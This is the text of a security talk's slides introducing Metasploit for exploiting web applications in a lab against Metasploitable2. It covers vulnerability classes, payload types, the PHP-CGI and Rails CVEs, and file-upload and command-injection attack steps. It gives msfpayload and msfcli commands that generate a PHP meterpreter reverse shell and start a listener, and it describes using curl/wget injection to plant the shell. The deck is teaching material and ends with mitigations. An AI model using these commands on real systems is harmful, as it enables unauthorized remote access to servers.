Introduction to Metasploit:

Exploiting Web Applications

Dennis Maldonado@DennisMald

Dennis Maldonado

Application Security Specialist WhiteHat Security

Full-Time Student University of Houston – Main Campus ▪ Computer Information Systems Major

Twitter @DennisMald

Website / Blog KernelMeltdown.org

Tools

Kali Linux – Our attacker machine

Metasploit Framework – Used for exploiting, generating the payload, and establishing a session with our victim.

Metasploitable2 – Victim Web Server

Topic of the dayExploiting the backend server through a web application.

What’s the problem?

Reasons why hackers want to compromise the server: Run attacks against the internal network Use the server as a bot Install backdoors onto the server Reveal sensitive files/passwords Execute any local file Execute remote files and more…

What’s the problem?

Vulnerabilities that are dangerous against a server Directory Traversal Local File Inclusion Remote File Inclusion Remote Code Execution SQL Injection Command Injection

Directory Traversal

http://website.com/?page=index.php

Local File Inclusion

http://website.com/?page=index.php

Remote File Inclusion

http://website.com/?page=index.php

Remote Code Execution

http://website.com/

SQL Injection

http://website.com/user.php?id=1&Submit=Submit#

Command Injection

Metasploit Basics

The Metasploit Project

Metasploit is an open-source framework used for Security development and testing Information gathering and fingerprinting Exploitation/Penetration testing Payload generation and encoding Fuzzing And much more…

Metasploit Interfaces

Command Line Interfaces msfconsole msfcli

GUI Interfaces Metasploit Community Edition Armitage

Metasploit Modules

Modules Exploit – Exploitation/Proof-of-Concept code▪ Ruby on Rails exploit▪ PHP-CGI exploit

Auxiliary – Misc. modules for multiple purposes▪ Scanners▪ DDOS tools▪ Fingerprinting▪ Clients

Payloads – Code to be executed on the exploited system▪ System Shells▪ Meterpreter Shells

Post – Modules for post-exploitation tasks▪ Persistence▪ Password Stealing▪ Pivoting

Exploits

Active Exploits Actively exploit a host. Ex: Ruby on Rails XML exploit

Passive Exploits Wait’s for incoming hosts, then exploits

them Ex: Java 0-days

Exploits contain payloads

Payloads

Inline (Non Staged) Payload containing the exploit and shell code Stable Large size

Staged Exploits victim, establishes connection with

attacker, pulls down the payload Meterpreter

Advanced, dynamic payload. Extended over the network Extensible through modules and plugins

Payloads continued

Types of connections Bind▪ Local server gets started on victim machine▪ Attacker connects to victim▪ windows/x64/shell/bind_tcp

Reverse▪ Local server gets started on attacker machine▪ Victim connects to attacker▪ windows/x64/shell/reverse_tcp

Vulnerabilities and Exploit Examples

PHP-CGI Argument Injection

CVE 2012-1823 DOS attack▪ -T 10000

Source code disclosure▪ -s argument

Remote Code Execution▪ -d argument

Ruby on Rails XML Parameter Parsing Vulnerability

CVE-2013-0156 Easy to find, easy to

exploit, critical vulnerability.

Requires just one POST request containing a specially crafted XML data.

Send commands through YAML objects

Unrestricted File Upload

The upload functionality allows for any file type to be uploaded1. Upload server-side code and check if it

executes▪ PHP = <?php echo “Hello World!”; ?>▪ ASP = <% Response.Write "Hello World!" %>▪ JSP = <%= new java.util.Date().toString() %>

2. Use msfpayload to create a shell3. Use msfcli to listen for a connection from the

victim4. Upload the shell and execute it

Command Injection

Allows an attacker to execute system level commands.1. Attempt a safe command

1. echo test2. uname -a

2. Use msfpayload to create a shell3. Use msfcli to listen for a connection from

the victim4. Inject curl or wget commands to download

the shell onto the victim machine.5. Chmod if necessary and execute

Commands used(Note, IP addresses and ports may be different)

msfpayload php/meterpreter/reverse_tcp O

msfpayload php/meterpreter/reverse_tcp LHOST=10.211.55.3 LPORT=1337 O

msfpayload php/meterpreter/reverse_tcp LHOST=10.211.55.3 LPORT=1337 R > shell.php

# Now edit the shell.php file to remove the comment on the first line and add "?>" at the end of the file.

==================================

msfcli multi/handler payload=php/meterpreter/reverse_tcp lhost=10.211.55.3 lport=1337 E

Mitigations and Closing

Mitigations

Keep software up to date! PHP: 5.4.3, 5.3.13 Ruby on Rails: 3.2.11, 3.1.10, 3.0.19, 2.3.15

Use whitelisting for file upload extensions Watch for extensions and content-types Don’t let upload directory be executable Rename files if possible

Don’t pass user input as a system command! Use library calls when possible Sanitize input

Questions? Comments?

Sources

BackTrack-Linux http://www.kali.org/

The Metasploit Project http://www.metasploit.com/

Metasploit Unleashed http://www.offensive-security.com/metasploit-unleashed/

PHP-CGI Advisory http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/

Ruby on Rails Exploitation https://

community.rapid7.com/community/metasploit/blog/2013/01/10/exploiting-ruby-on-rails-with-metasploit-cve-2013-0156

Damn Vulnerable Web Application (DVWA) http://www.dvwa.co.uk/

Metasploitable 2 http://

information.rapid7.com/download-metasploitable.html?LS=1631875&CS=web